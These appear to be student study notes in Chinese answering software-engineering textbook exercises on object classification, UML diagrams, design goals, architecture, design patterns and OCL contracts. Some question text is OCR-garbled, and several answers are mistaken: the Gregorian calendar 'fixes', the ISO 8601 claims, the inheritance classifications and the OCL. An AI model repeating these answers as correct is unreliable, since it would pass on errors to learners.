+10.站在的观点上,描述在需求获取活动中用户的优点和缺点。同样地, 描述在需求 获取活动中开发者的优点和缺点。 + +用户的优点:真实且具体:用户了解他们自己的需求,并能真实地反映他们在日常生活和工作环境中所遇到的问题,提供具体的使用场景和案例。启发式思维:用户在日常使用产品或服务时会形成自己的习惯和方式,他们的交互方式和习惯可能会启发我们进行更好的设计。集成思考:用户往往可以为团队带来不同的视角和观点,帮助开发团队整合多方面的需求。 + + +开发者的优点:技术专业性:开发者理解技术和代码,这使得他们可以准确地评估用户的需求,并将需求转化为产品设计和开发中的技术方案。 + +创造性思维:开发者可以提供先进的技术和创新的解决方案,这是用户可能从未考虑过的,能够达到满足用户需求的目的。 + +沟通协调能力:开发者可以对用户的需求进行分析和解释,并与用户保持沟通,以便更好地把握需求,逐步迭代产品,确保最终产品能够满足用户的需求。 + +11.简要定义术语“英单” 。在纸上写出的回答,并将之放到另外西个学生给出的定 义中,并将这五个定义混在 一起。比较这五个定义并讨论这些定义的不同 + + +## Part5 + +1.考 惠 一下 带 有 图 形 用 户 界 面 的 文 件 系 统 ,如Macintosh的Finder 、Microsoft的Windows Explorer和 Linux 的KDE。从描述怎样从一个软盘复制一个文件到硬盘的用例中标识 出了如下对象:File、Icon、TrashCan、Folder、Disc 和Pointer。说明哪些对象是实体 对象,哪些对象是边界对象,哪些对象是控制对象 + + +- Macintosh的Finder是苹果电脑的图形化文件管理器 +- Microsoft的Windows Explorer是Microsoft Windows操作系统中的本地文件管理器 +- KDE是Linux操作系统中的一个桌面环境,具有图形用户界面,包括文件管理器Dolphin。Dolphin提供了各种功能,例如以不同方式查看文件,创建压缩文件等。 + +- File(文件):表示软件包含的数据或信息。(实体) +- Icon(图标):代表文件、文件夹、磁盘等。(边界对象) +- TrashCan(垃圾桶):表示丢弃文件或文件夹的区域。(边界对象) +- Folder(文件夹):用于组织和存储文件。(实体) +- Disc(磁盘):通常表示可移动介质,如软盘或 USB 驱动器。(实体) +- Pointer(指针):用于指示应用程序正在处理的对象。(控制对象) + +>实体对象:包括文件、文件夹和磁盘。它们是在文件系统中**实际存在**的物理实体。 +> 边界对象:包括图标和垃圾桶。它们是用于将**实体对象呈现**给用户的虚拟元素。 +> 控制对象:指针用于控制**用户与其他对象的交互**方式。 + +2.假 设 如 前 所 达 的 同 一 文 件 系 统 , 考 虑 一 个 包 含 了 从 软 盘 上选 择 文 件 并 拖 动 该 文 件 到 Folder 再释放鼠标的场景。标识和定义至少一个关联到此场景的控制对象 + + +- 文件选择器:负责显示软盘上的文件列表并允许用户选择要移动的文件。它还将捕获用户从软盘上拖动文件的操作,并将该文件传递给系统以进行后续处理。 + +- 鼠标指针:表示用户正在执行拖放操作。在这个场景中,鼠标指针的状态将随着用户在屏幕上移动而改变,以便提供反馈并帮助用户精确定位他们所选的文件和目标文件夹。 + +- 鼠标指针:表示用户正在执行拖放操作。在这个场景中,鼠标指针的状态将随着用户在屏幕上移动而改变,以便提供反馈并帮助用户精确定位他们所选的文件和目标文件夹。 + + +3.在顺序图中水平地排列练习5-1和练习5-2中列出的对象,將边界对象放在左边,将 要标识的控制对象放在中间,将实体对象放在右边。画出将文件拖入文件火的交互顺序。在本题中,忽略异常情况。 + +```paltuml +@startuml +skinparam monochrome true + +actor User +participant "Disk" as Disk +participant Screen +participant Folder + +User -> Screen: 1. 打开文件管理器 +activate Screen + +User -> Disk: 2. 从软盘上选择文件并拖动 +activate Disk + +Screen -> Disk: 3. 请求打开软盘 +Disk --> Screen: 4. 显示软盘中的文件列表 +deactivate Disk + +User -> Screen: 5. 选择要拖动的文件 +User -> Screen: 6. 拖动所选文件到Folder上 +User -> Folder: 7. 释放鼠标 +activate Folder + +Screen -> Folder: 8. 发送移动文件请求 +deactivate Screen +Folder -> Screen: 9. 移动文件成功 +activate Screen + +@enduml + +``` + +4.检查在练习5-3 中面出的顺序图,标识出这些对象之间的关联 + +User与Screen之间的关联为:用户打开文件管理器,并选择了要拖动的文件。 +User与Disk之间的关联为:用户从软盘上选择了文件并拖动。 +Screen与Disk之间的关联为:屏幕向磁盘发出请求打开软盘,并显示软盘中的文件列表。 +User与Screen之间的关联为:用户选择要拖动的文件,并将其拖动到Folder上。 +User与Folder之间的关联为:用户释放鼠标,完成文件拖动操作。 +Folder与Screen之间的关联为:Folder向屏幕发送移动文件请求,屏幕完成了文件移动操作。 + +5.标 识 出 与场 景 ( 将 一 个 文件 从 一 张 软 盘 拷 贝 硬 盘 )相 关的 每 一 个对 象 的 属 性 。 考虑 如 下异常情况“在该文件夹中存在同 一文件名” 和“磁盘中没有足够的空间”。 + +``` +@startuml +skinparam monochrome true + +actor User +participant "Floppy Disk" as FloppyDisk +participant Screen +participant "Hard Disk" as HardDisk +participant FileManager + +User -> Screen: 1. 双击打开文件管理器 +activate Screen + +Screen -> FloppyDisk: 2. 启动并打开软盘驱动器 +activate FloppyDisk +FloppyDisk --> Screen: 3. 显示软盘中的文件列表 +deactivate FloppyDisk + +User -> Screen: 4. 在文件管理器中选择要复制的文件 +User -> FileManager: 5. 点击“复制”按钮 +activate FileManager + +FileManager -> Screen: 6. 打开“复制窗口” +Screen -> HardDisk: 7. 请求打开目标文件夹 +activate HardDisk +HardDisk --> Screen: 8. 显示目标文件夹中的文件列表 +deactivate HardDisk + +User -> Screen: 9. 选择目标文件夹 +User -> Screen: 10. 点击“粘贴”按钮 +Screen -> HardDisk: 11. 将文件拷贝到目标文件夹 +activate HardDisk +HardDisk -> Screen: 12. 显示拷贝进度条 +deactivate HardDisk +Screen -> User: 13. 显示“拷贝完成”提示消息 +deactivate Screen +User -> Screen: 14. 关闭文件管理器 +activate Screen + +note left of FileManager: 如果目标文件夹中已经存在同名文件,则弹出“覆盖确认”窗口。 +note right of HardDisk: 如果磁盘空间不足,则拷贝操作中止并弹出错误消息。 + +@enduml + +``` + +Screen代表了一个界面或显示区域。在这个场景中,用户的交互和计算机的响应会通过屏幕来完成,也就是用户通过选择某些操作然后在屏幕上看到结果。因此,在这个场景中,需要有一个表示屏幕或者界面的元素来帮助展示这些交互和响应过程。例如,用户可以通过屏幕来打开文件管理器,选择要复制的文件,然后粘贴到目标文件夹中。拷贝进度和错误消息也需要在屏幕上显示。 + +在UML时序图中,屏幕、窗口和对话框等UI元素通常被表示为参与者(actor)或对象(participant),用来表示它们在各种场景中所扮演的角色。因此,在这个场景中,Screen作为一个表示屏幕的对象,可以帮助我们更清晰地理解整个过程的执行顺序和各个实体之间的协作关系。 + + +6.给出有关Gregorian 日历的知识,列出有关该模型的所有问题。修改该模型的每一个 问题。 +月份长度不规则:Gregorian 日历中月份的长度各不相同,有31天、30天、29天或28天(闰年2月为29天)。这个问题导致了日期计算变得复杂,从而使很多程序员很难编写一个稳定可靠的日期处理算法。 + +闰年规则复杂:虽然闰年出现的频率有一定的规律,但Gregorian 日历中的闰年规则比较复杂,即每四年一闰,但跨世纪的年份要特殊考虑,即能被400整除的年份才是闰年,否则就是平年。这种规则的存在增加了程序员处理日期相关问题时的难度。 + +起始点不明确:Gregorian 日历中的起始点并没有一个明确的标准时间,同时受到历史和文化因素的影响。例如,大多数国家将公元1年1月1日作为起始时间,但是英国曾经采用过一个不同的起始点,即公元1年3月25日。 + +下面是对Gregorian日历模型中每个问题所做的修改: + +月份长度不规则:可以尝试将每个月的长度都规定为统一的天数。这样,处理日期和计算时间间隔就更容易了。例如,可以将所有月份的长度设置为30天或31天,甚至采用365天除以12个月来平均分配的方式。 + +闰年规则复杂:可以简化闰年规则并且使它更容易理解。例如,可以规定每四年一闰,跨越100年的年份只有能被400整除才是闰年。这样的话,我们就可以大大降低日期处理和计算的复杂性。 + +起始点不明确:可以通过使用国际标准公历(ISO 8601)来统一起始点。ISO 8601 规定了以公元1年1月1日为起点的地球时间系统,并将其碾平全球各种文化和历史背景的差异。采用ISO 8601 标准的话,时间的表示格式也会变得更加规范和易于理解。 + +7.考虑图 5- 32 中的对象模型。仅使用关联多样性,可以修改该模型,以便不熟习 Gregorian 日历的开发者可以减少每一个月中的天数吗?如果需要,标识出外部类 + +8.考虑四方向十字路又的交通灯系统 (两条成直角的相交道路)。假设为了考虑循环通 过交通灯的最简单算法 ( 即 当一 个 十字路又的在一条路上的交通是允许的话,则同时 另 一条路 上的交通停止)。标识出这一系统的状态,并面出描述这 一状态的状态图。 记住每 一个单独的交通灯具有 三个状态(绿、黄和红) + +``` +@startuml + +title Traffic Light System State Diagram + +[*] --> RedH_NorthSouth + +RedH_NorthSouth --> RedV_EastWest : NorthSouth is done +RedV_EastWest --> GreenH_EastWest : EastWest is clear, start switch to green +GreenH_EastWest --> YellowH_EastWest : Warning for EastWest +YellowH_EastWest --> RedV_NorthSouth : Done with EastWest, now NorthSouth can start + +RedV_NorthSouth --> RedH_NorthSouth : NorthSouth has the right of way +RedH_NorthSouth --> GreenV_NorthSouth : Switch to Green +GreenV_NorthSouth --> YellowV_NorthSouth : Warning for NorthSouth +YellowV_NorthSouth --> RedH_EastWest : Done with NorthSouth, now EastWest can start + +@enduml +``` +9.从图 2-34 中的顺序图出发,画出对象的类图。提示:从画出顺序图中的参与对象开 始 入 手 + +10.为了获得唯 一的赞助商,考虑额外保证Advertisers 所需效果的非功能需求应该最小 化。改变AnnounceTournament (图5-23)用例和ManageAdvertisements用例(参见 练习4-12),使得Advertiser 可以在其日志文件中指出性能,以便于唯 一赞助商可以 由 系统 自动 决定 。 + +11.标识出每一个参与到AnnounceTournament 用例的外部实体对象、边界对象和控制对 象,并写出相关的定义。该实例通过实现练习5- 10 说明的变化而引入 + +12.更新图5-29 的类图和图5-31的类图,以说明在练习5-11中标识出的新对象 + +13.根据从图5- 26 至图5-28 的顺序图,画出描述Announce ToumamentControl 对象行为 的状态图。将每 一个通知的发送和接收作为触发状态改变的事件米对待 + + +## Part 6 + +1.将一 个系统分解成 多个子系统会降低复杂性,同时开发者是通过简化各模块、增加这 些模块的- 一复杂性的。但分解后常常会增加 一些不同的复杂性:更小的 模 块 意 味 着 更 多 的 模 块 及 接 口 。如果内聚是让开发者将子系统分解成更小模块 的指导性原则,那么让开发者保持各模块数量之和比较小的竞争性原则是什么呢? + +建议将系统分解为尽可能少的子系统,每个子系统都应该具有高度相关的组件,并且这些子系统必须相互配合以达成整个系统的目标。 + +2.在第 6. 4. 2 节中, 我们将设计目标分成 了五类:性能、可靠性、成本、维护和最终用户 。 将 上 面 的 一 类 或 多 类 设 计 目 标 赋 给 下 面 的 例 子: + +- 当用户发出任何命令后系统必须在一秒钟内将信息反馈给用户。(性能) +- 即使在网络失败的情况下,火车票发行TicketDistributor 也必须能够成功地提交 火车票。(可靠性) +- 火车票发行器TicketDistributor 的房间必须考虑安装新的按钮以防火警的数目有所 升。(成本) +这个例子被归类为“成本”是因为它涉及安装新的按钮,这可能会导致额外的费用。这种设计目标通常涉及要求系统在满足其他需求的同时尽量降低成本,以确保最终产品的商业可行性和市场竞争力。 + +虽然这个例子也可以被归类为“维护”,因为添加新的按钮有助于提高设备的可维护性,但是由于这个设计目标的主要考虑是成本方面的问题,而不是为了提高设备的可维护性,因此它更适合作为“成本”类别的一个示例。 + +- 自动出纳机Automated Teller Machine必须能够抵御字典攻击(即,用户通过不断的系统尝试试图得到认证码)。(最终用户) + +这个例子被归类为“最终用户”是因为它关注的是保护对自动出纳机的访问限制,以防止黑客或不良用户使用字典攻击等攻击方式来盗取其他用户的账户信息。 + +这种设计目标通常是为了保护最终用户的资金和隐私,并通过限制对自动出纳机的未经授权访问来提高用户满意度和信任度。 当一个系统的设计考虑到最终用户的利益时,它通常会更能够吸引和保留用户,从而提高产品的商业可行性和市场竞争力。 + + +**性能关注:系统的速度和效率** +**可靠性关注:产品或者系统在长期使用的过程中保持稳定和一致的能力** +**可靠性关注:产品或者系统在长期使用的过程中保持稳定和一只的能力** +**成本:关注费用** +**最终用户:关联到用户** + +3.假设正在开发一个系统,该系统要将数据存储在UNI X文件系统上。并且预测到 以后会发布运行在其他操作系统上的系统新版本,提供对不同的文件系统支持。给出 一个考虑到了将来变更的子系统分解方案 + + + +数据访问层子系统:负责数据在文件系统中的读取和写入操作。这个子系统应该以接口的方式实现,并提供抽象层,使得不同的文件系统可以通过实现相应的适配器接口来支持扩展。 + +文件系统适配器子系统:负责实现各种不同文件系统(如UNIX、Windows、macOS等)的适配器。每个适配器都要实现数据访问层子系统提供的接口,以便在上层子系统中无缝使用。 + + +文件系统管理层子系统:负责文件系统的管理和配置。这个子系统应该是平台无关的,并提供通用的API。它应该处理文件系统挂载、格式化和存储空间分配等任务。 + +4.老的编译器是根据管道过滤器体系结构风格来设计的,每一个阶 段均要把输 入转换成 中 问 表 示 传 给 下 一个 阶 段 。 现 代 的 开 发 环 境 中 的 编 译 器 , 是 一个 包 括 了 带 有 句 法 文 本 编辑器和源代码调试器在内的集成交互开发环境,这 一环境采用了仓库体系结构风 格。请明确将管道过滤器风格转变为仓库风格的设计目标是什么? + +5.考 虑 在 图 6 - 1 7 和 图 6 - 1 6 中 给 出 的 模 型 / 视 / 控 制 器 的 例 子: +8. 将图6-17作为序列图时重画对应的合作图。 +b. 讨论模型/视/控制器(MVC)体系结构对下列设计目标是有帮助还是有副作用: +• 可扩展性 (例如,增加新的视类型) +• 响应时间 (例如,用户输入与所有的视被更新的时间间隔) 。 可修改性 (例如,在模型中增加新的属性) +• 访问控制 例如,确保只有合法用户才能访问模型中特定部分的能力 + +可扩展性: 对于增加新的视类型,MVC体系结构提供了一个独立的视图组件,使得可以轻松地添加新的视图类型并与现有的模型和控制器进行交互。 +响应时间: MVC体系结构可以通过使用观察者模式来减少响应时间。在该模式中,当模型发生更改时,它会自动通知所有相关的视图组件进行更新。这意味着只有那些需要被更新的视图组件将被更新,而不是所有的视图组件。 + +可修改性: MVC体系结构将数据、用户界面和控制逻辑分离,允许在不影响其余部分的情况下对各个组件进行修改。因此,在模型中增加新的属性将不会影响视图或控制器。 + +访问控制: MVC体系结构通过将访问控制逻辑放置在控制器组件中来实现访问控制。在这种情况下,控制器负责验证用户的身份,并仅在用户具有适当权限时向模型公开特定部分。这样,可以确保只有合法用户才能访问模型中的特定部分。 + +6.列出当采用带有多层的封闭体系结构时实现有困难的那些设计目标,例如图 6- 11 中 所 描 绘 的 O S I 例 子 + +- 灵活性:由于系统中的各个层都是独立的,因此很难实现灵活性。例如,如果需要更改底层协议,则必须对整个系统进行更新,这可能会影响上层应用程序。 + +- 性能:在多层体系结构中,数据必须通过每个层传递才能到达目的地。这可能导致性能问题,特别是在大型系统中或在高负载下运行时。 + +- 可维护性:由于多层体系结构中的各个层之间具有高度耦合性,因此可能会导致维护成本增加。任何对一个层的更改都可能涉及其他层,并且可能需要涉及整个系统。 + + +- 安全性:多层体系结构使得整个系统更复杂,这可能导致安全漏洞复杂化。攻击者可以利用体系结构中的任何弱点,在不被检测到的情况下访问系统中的数据。 + +7.在许多体系结构中,例奶三层或四层体系结构(图6-22和图6-23),持久性对象的存 储由专门的 一层来处理。就的观点而言,是哪些设计目标导致了这一决策? + +可维护性和可扩展性 - 分离数据存储功能到单独的层中使得代码更容易维护,并且如果需要升级或更换底层数据库,只需修改单个层即可。 + +数据独立性 - 在分离数据存储和应用程序逻辑之后,应用程序可以使用相同的代码与不同的数据源进行交互,从而提高了数据独立性 + + +安全性 - 将数据存储在专用的一层中可以更好地保护数据的安全。通过限制应用程序直接访问数据库,可以减少潜在的安全漏洞。 + +性能 - 将数据存储在单独的层中还可以提高性能。例如,可以针对特定的查询优化数据库,从而提高响应时间和吞吐量。 + + +## Part7 + +考察一个含有一台网络服务器、两台数据库服务器的系统。两台数据库服务器是相同 的:第一台作为主服务器,第二合是在第一台出现故障时作为冗余的备份服务器使用。 用户使用网页浏览器通过网络服务器来访问数据。他们还可以选择使用有权直接访问 数据库的私有客户身份。画出UML 的部署图以展示出这个系统的硬件/软件映射 + +``` +@startuml +!define MASTER_MARK_COLOR Orange +!define SLAVE_MARK_COLOR Grey + +title System Deployment Diagram + +node "Web Server" as WebServer { + artifact "Web Application" as WebApp +} + +node "Database Server 1" as MainDBServer { + database "Main Database" as MainDB <> +} + +node "Database Server 2" as BackupDBServer { + database "Backup Database" as BackupDB <> +} + +WebApp --> MainDB : Read/Write\nOperations +WebApp --> BackupDB : Read Operations +WebApp ..> PrivateClient : Authorized Access + +note right of WebServer + This server is responsible for serving the web application +end note + +note right of MainDBServer + This server is the main database server responsible for read and write operations +end note + +note left of BackupDBServer + This server acts as a backup to the main database server in case of failure +end note + +@enduml + +``` + +2.考察一个为航空器制造商服务遗留的基于传真的问题报告系统。是再工程项目的 一 部分,采用一个含有数据库和通告系统的基 于计算机系统代替原有系统。容户需要传 真来保留问题汇报的进入点。计划采用电子邮件进入点。描述 一个考虑了所有接接口的子 系 统 分 解 。 注 意 , 这 个系统每天都 会 处 理 许 多 问 题 报 告 的 ( 例 如 , 一天 会 收 到 2 0 0 0 份传真)。 + + +子系统一:问题报告输入 +问题报告可以通过两个途径输入: + +电子邮件进入点:用户可以通过电子邮件向系统发送问题报告。这些报告将被自动解析、记录和归档。 +传真:用户可以继续使用传真报告问题,但是现在传真会被转发到一个专门的服务提供商进行数字化,数字化后的传真会通过电子邮件进入点输入到系统中,并且传真原件也会被保存起来。 +子系统二:数据库 +系统需要一个数据库来存储问题报告数据。数据库应该能够高效地处理每天数千份的报告,并能够快速响应用户查询。 + +子系统三:通知 +一旦问题报告被记录,系统需要通知相关人员以便对问题进行处理。通知系统应该能够根据用户设置的偏好来发送通知(例如,短信、电子邮件等),并能够实现关键信息的实时通知。 + +子系统四:报告管理 +为了使问题管理更加有效,需要一个报告管理系统。这个系统应该支持报告的分类、搜索和排序等功能,以帮助用户识别和处理问题。 + +子系统五:安全 +系统需要建立完善的安全性措施来保护用户提供的数据。其中包括对传真和电子邮件的加密以及对数据库的访问控制等措施。 + +综上所述,基于计算机系统的问题报告系统应该由以上五个子系统组成,它们必须紧密协调才能实现高效地处理每天大量问题报告的目标。 + +3.正在为 一个基于网络的零售商店设计访问控制策略。客户可以通过网络来访问商 店,浏览商品的信息,输入他们的地址和付账信息,购买商品。供应商能够添加新的 商品、更新商品信息、接收订单。商店老板可以设置零售价格、基于顾容的购买情况 提供打折或销售服务。必须处理三种参与者:商店管理者StoreAd inistrator、供应 商Supplier 和消费者Customer。为这三种参与者设计一种访问控制策略。消费者 Customers 可以由网络创建,而供应商 Suppliers 由商店管理者StoreAdministrator * 创建。 + +消费者 (Customers) 访问控制策略 +消费者是最广泛使用商店服务的群体,因此我们的访问控制策略应该尽量简单易懂,并且能够限制他们在系统中的访问权限。下面是一些措施: + +注册机制:对于未经注册或未登录的用户,不能浏览商品或提交订单。 +访问限制:除非用户已经登录并验证了身份,否则用户无法进入任何需要进行输入信息和付款的界面。 +数据保护:用户个人数据(如地址、名称、电子邮件、密码等)必须加密存储在数据库中,并且只有相关人员才能查看这些数据。 +供应商 (Suppliers) 访问控制策略 +供应商是商店服务的重要组成部分,但其访问需求较少,因此访问控制规则更为复杂。下面是一些规则: + +角色分配:仅由商店管理员创建和管理供应商账户。特定供应商只能访问自己的产品目录,并不能访问其他供应商的产品目录。 +身份验证:供应商必须使用他们的用户名和密码进行身份验证,才能访问他们的产品目录或者订单历史记录。 +会话超时:如果供应商长时间未进行任何操作,则自动注销会话。 +商店管理者 (Store Administrator) 访问控制策略 +商店管理员是系统的最高权限用户,因此需要更多的访问控制规则来保护商店的敏感信息和数据。下面是一些规则: + +角色分配:商店老板可以指定其他员工作为管理员,在需要的情况下增加或移除管理员。 +细化权限:管理员根据工作职责赋予不同的权限,如修改价格、添加新商品、处理退货等。 +双重验证:在敏感操作(如修改顾客账户信息)前,要求管理员进行额外的身份验证。 +数据存储:管理员能够查看所有数据,但必须保证对数据的保密,并且只有在必要的情况下才能分享。 + +4.为下面的每个系统选择一种觉得最合适的控制流机制。因为在绝大多数的案例中, 多个选择是可行的,请证实的选择。 + +设计一 个持续高负荷的网络服务器。 + +答:设计一个持续高负荷的网络服务器:使用并发控制流机制,例如多线程或异步编程模型。因为网络中有很多并发请求需要同时处理,通过使用多线程或异步模型可以充分利用系统资源,提高系统的吞吐量。 + +一个文字处理器的图形用户界面。 + +答:使用事件驱动控制流机制。图形用户界面程序通常采用事件循环的方式,等待用户的输入事件,然后根据事件类型来触发相应的操作。这种方式能够有效地响应用户的交互,并避免阻塞用户界面的渲染和刷新。 + +一个 嵌 入 式 实 时 系 统 ( 例 如 , 一 个 卫 星 发 射 导 航 系 统 ) 。 + +答:使用实时控制流机制。实时系统对任务的响应时间要求非常高,因此需要使用特殊的实时控制流机制来保证任务的及时完成。常见的实时控制流机制包括周期性调度、优先级调度和中断服务程序等。在选择具体的控制流机制时,需要考虑系统的硬件平台、性能要求以及开发成本等因素。 + + +5.为什么在需求获取或分析过程中**不 能 描 述 边 界 用 例**? + +用例应该集中在系统的行为和功能上,而不应该关注具体的实现细节或技术架构。用例说明书中,我们应该**侧重于描述系统的需求和行为**,而将系统的实现细节和边界留给其他文档和工具来描述。 + +边界用例(Boundary Use Case)通常是通过建模技术中的系统顺序图或交互图来描述系统和外部参与者之间的交互行为。 + +6.正在设计一个高速缓存系统,它临时地将网络 上检索到的数据 (例如,网页)存储 到一个比较快的存储器中 (例如,硬盘)。由于需求发生了一个变更,需要在的 子系统中为配置高速缓存的参数 (例如,硬盘的高速缓存可以使用的最大数量)而定义一个额外的服务。此时,将通知哪些项目参与者? + +- 项目经理:作为项目领导者,项目经理需要了解新服务如何影响项目进度和预算。 +- 开发团队:开发团队需要明确新服务的需求和其设计实现方案,并相应地更新代码。此外,他们还需要评估对现有代码和系统架构的影响,以及更新测试用例来验证新服务的正确性。 +- 测试团队:测试团队需要更新测试用例以包含新服务,并进行回归测试,以确保没有其他功能受到影响。他们还需要检查新服务是否满足业务需求,并符合软件质量标准。 +- 系统管理员:系统管理员需要了解新服务是如何配置的,以便他们可以正确地安装、部署、配置和监视系统。 +- 最终用户:如果新服务对最终用户产生影响,则需要向他们通知可能的变更,并提供必要的培训或文档。这有助于最终用户更好地了解新服务,从而更好地使用高速缓存系统。 + +## Part8 + +1.考虑ARENA对象设计模型。对接下来的每一个对象,指出它是 一个应用对象还是一个解对象: + +- LeagueOwner- 应用对象(代表比赛联盟的所有者) +- TournamentStore- 解对象(用于存储比赛和相关数据) +- game -解对象(代表比赛。它包括比赛的规则、状态和结果等信息。) +• Player -解对象(解对象,代表参与比赛的玩家。它包括玩家的个人信息和状态等。) +• Move-应用对象(代表每次比赛中的移动或操作) +• ResultDisplay-应用对象(用于显示游戏结果和统计信息) +• Statistics-应用对象(收集和计算比赛数据,例如胜率、得分等) + +> 应用对象:应用程序对象,指一个在应用程序中被创建的、用于封装应用程序行为和功能的对象。它可能与用户交互并响应用户输入,或者提供与其他系统交互所需的接口。比如,图形界面应用程序中的窗口就可以看作是应用程序对象。 + +> 是指一个用于管理数据存储和检索的对象。它可以通过抽象化数据库或其他数据存储方式来实现对数据的访问,从而提高应用程序的可维护性和扩展性。它通常包含了数据访问方法的实现和一些用于访问这些方法的接口。 + + +2.指出下面出现的继承关系哪 一个是定义继承,哪 一个是实现继承: + +- Rectangle" 类是通过继承 "Polygon" 类而得到的 +矩形 - 多边形 +实现继承 + +- "Set" 类是通过继承 "Binary Tree" 类而得到的 +实现继承 +- "Set" 类是通过继承 "Bag" 类而得到的 +实现继承 +- "Player" 类是通过继承 "User" 类而得到的 +实现继承 +- "Window" 类是通过继承 "Polygon" 类而得到 +实现继承 + +3.考虑用Java 语言编写的Bridge 游戏,我们想把这个游戏整合进 ARENA,那么将使 用何种设计模式,试画一个与ARENA对象有关的UML 类图,其中要这些类同时在 Bridge 游戏中也出现 + +4.考虑一个支持软件开发的工作流系统。这个系统使得管理人员可以对开发者在方法和工作成果应该遵守的过程建模。管理人员可以给每个开发者分配特定的任务,并对工作成果的完成设置一个最后时限。这个系统支持很多类型的工作成果,包括规格化的 文本、图片和URL。开发者在编辑工作流时,能够动态地在运行时设置每 一个工作的 类型。假设的一个设计目标是设计系统使得将来可以加入更多的工作成果类型, 将选用何种设计模式来描述 工作成果? + +``` +@startuml +interface WorkProduct { + +edit() + +getInfo() +} + +class TextWorkProduct { + +edit() + +getInfo() +} + +class ImageWorkProduct { + +edit() + +getInfo() +} + +class URLWorkProduct { + +edit() + +getInfo() +} + +WorkProduct <|.. TextWorkProduct +WorkProduct <|.. ImageWorkProduct +WorkProduct <|.. URLWorkProduct +@enduml + +``` + +5.考虑一个包含一个数据库客户和两个元余的数据库服务器。两个数据库服务器都是 一样的:第一个用做主服务器,第二个用做备份以防主服务器不能工作时使用。数据库客户通过一个称为“网关” 的构件访问主服务器,因此客户无法知道是对哪一个服务 器进行的访问。一个单独的称为“看门狗” 监控客户的请求和主服务器的反应,然后 告诉网关是否应该将请求发送给后备服务器。想把这个设计模式称做什么?画一个 UML 图证明的选择是正确的。 + +答:在中介者模式中,对象之间的通信通过一个中介者对象进行协调。在这个场景中,DatabaseClient、MasterDatabaseServer、BackupServer、Watchdog 和 Gateway 都是同等重要的对象,而 Watchdog 担任中介者角色,协调它们之间的通信。 + + +6.在8.4. 1 节,我们使用 一个Btidge 模式来降低ARENA 中联盟店LcagueStore 子系统与 它接又之问的男合度,这能让我们提供由于不同的测试目标而产生的不同实现。理想 地说,应该在我们系统的每个子系统中使用Br idge 模式来方便测试。不幸的是,这不 是在所有的情况下都是可行的。试给出 一个不能在系统中使用Bridge模式的例子 + +- 如果只有一个实现:如果您已经确定您的系统中只需要一种实现,则没有必要使用桥接模式。在这种情况下,应该考虑使用简单的类继承结构而不是额外引入桥接模式。 +- 抽象和实现都稳定:如果您确定抽象和实现都很稳定,则不需要使用桥接模式。因为如果它们不太可能改变,那么拆分它们的成本可能会超过获得的好处。 +- 即实现类或模块依赖于抽象类或接口,但是抽象类或接口不依赖于实现类。这种情况下,如果我们想要将实现与抽象分离开来,使它们可以独立变化和扩展,就可以使用桥接模式 + +7.考虑 下面的设计目标。对它们中的每一个,指出觉得可以达到每一个目标的候选 模式: + +- 给定一个可继承的应行程序,封装己有的业务逻辑构件。 +候选模式: 模板方法模式 +通过定义一个抽象类和一套算法骨架,模板方法模式可以将可继承的应用程序封装起来。子类可以通过重写各个步骤的具体实现来完成自己的业务逻辑,从而达到封装己有的业务逻辑构件的目标。 + + + +- 给定一个国际象棋程序 , 能够方便将来开发者用更好的决 定怎样走下一步的算法替换掉现在的 +候选模式: 策略模式 + +通过定义一个抽象算法接口和一系列具体算法实现类,策略模式可以方便地将算法替换成其他更好的决策算法。国际象棋程序可以将当前的算法作为一个策略对象,在运行时能够轻松地选择其他算法。 + +- 给定 一个国际象棋程序,确保 一个监控构件能够在运行时选用其他的规划算法, 根据对手的情况和反应时间。 +候选模式: 策略模式 + +同样,国际象棋程序可以将规划算法作为策略对象,并在运行时根据对手的情况和反应时间来动态选择相应的算法。 + +- 有一个模仿耗子走迷宫的程序,确保路径选择算法构件来评价耗子考虑到每一种 不同的路径。 + +候选模式: 策略模式 + +与前两个例子类似,路径选择算法构件可以定义为策略对象,以便在运行时根据不同的路径选择算法来评价耗子的路径选择。 + + +8.考虑 一个必须动态的选择基于保密性要求和计算时间约束的加密算法的应用程序。 将 会选 择 哪 一 个 设 计模 式 ?画 一 个 U M 类图 描 述 模 式中 用 到 的 类 并判 断 的 选择 的 正确性。 + +我将选择策略模式来设计这个动态选择加密算法的应用程序。 + +在策略模式中,我们可以定义一组算法接口并为每个算法实现一个具体类。然后,在运行时,我们可以根据保密性要求和计算时间约束来动态地选取合适的算法,而无需修改客户端代码。 + +## Part9 + + +1.考虑在java.util 包中的用来对对象排好序的集合进行操作的List 接又。使用OCL 为 下列操作编写前置条件和后置条件: +int size0返回队列中的元素数目。 +- `int size() 返回队列中的元素数目` +- `void add(object e)` 在队列的尾部加入一个对象 。 +- `void remove(object e)`从队列的尾部移除一个对象。 +- `boolean contains(object e)`的作用是判断对象e是否在队列中,如果在队列中,返回值为真。 +- `Object get(int idx)`返回在队列中的位置为idx的对象,。0表示队列的头一个位置。 + + +``` +context List +pre: +-- 前置条件 +self->notEmpty() -- 队列不为空 + +post: +-- 后置条件 1:操作 add +self->includes(e) -- 在队列中加入一个对象e,该对象已经存在于队列之中 +and size = size@pre + 1 -- 队列大小增加1 + +-- 后置条件 2:操作 remove +not self->includes(e) -- 从队列中移除一个对象e,该对象不存在于队列之中 +and size = size@pre - 1 -- 队列大小减少1 + +-- 后置条件 3:操作 contains +result = true or result = false -- 方法返回值为真或假 + +-- 后置条件 4:操作 get +result <> null and result = self->at(idx) -- 返回在队列中的位置为idx的对象,该对象不为空且与队列指定位置一致 + +``` + +2.考虑在java.util包中的Set 按又。使用OCL为下列操作编写前置条件和后置条件。 +• int size()返回在集合中的元素数目。 +• void add(object e)往集合中加入一个对象。如果该元素己经在队列中,则不加。 +• void remove(objecte)从集合中移除 一个对象。 +• Boolean contains(object e)的作用是判断对象e 是否在集合中,如在集合中,则返回值为真。 + + +`size():` +前置条件: 无。 +后置条件: 返回集合大小的非负数。 + +`add(object e):` +前置条件: e 不为 null。 +后置条件: 如果 e 不在集合中,则将 e 添加到集合中。 +后置条件: 如果 e 已经在集合中,那么不会添加元素。 + +`remove(object e):` +前置条件: e 不为 null。 +后置条件: 如果 e 在集合中,则从集合中移除 e。 +后置条件: 如果 e 不在集合中,则集合保持不变。 + +`contains(object e):` +前置条件: e 不为 null。 +后置条件: 如果 e 在集合中,则返回 true。 +后置条件: 如果 e 不在集合中,则返回 false。 + + +3.考虑在java.util 包中的Collection 接又,它是List 和Set 的父类。为下列的操作编写前 置 条 件 和 后 置条 件 并 且在 知 道 契 约 是 可 以 的 情 况 下对 在练 习 9- 1 和 练 习9- 2 中 的 编 